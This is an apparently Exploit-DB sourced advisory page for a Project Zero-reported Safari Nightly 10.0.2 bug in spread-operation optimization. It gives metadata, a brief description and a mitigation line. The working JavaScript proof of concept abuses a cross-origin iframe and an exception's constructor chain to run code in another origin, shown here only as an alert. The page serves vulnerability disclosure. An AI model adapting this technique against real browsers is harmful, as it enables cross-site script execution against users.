Use-After-Free in Spread Operation Optimization in Safari

vendor:

Safari

by:

Project Zero

7,5

CVSS

HIGH

Use-After-Free

416

CWE

Product Name: Safari

Affected Version From: Nighly 10.0.2

Affected Version To: Nighly 10.0.2

Patch Exists: YES

Related CWE: None

CPE: a:apple:safari:10.0.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac

2017

Use-After-Free in Spread Operation Optimization in Safari

This vulnerability is a Use-After-Free vulnerability in the Spread Operation Optimization in Safari. It occurs when the function |operationSpreadGeneric| is called from a spread operation, and it tries to get a JSGlobalObject from the argument of the spread operation. This can lead to arbitrary code execution when a malicious iframe is loaded.

Mitigation:

The user should update to the latest version of Safari to ensure that the vulnerability is patched.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = 'https://abc.xyz/';

</script>
</body>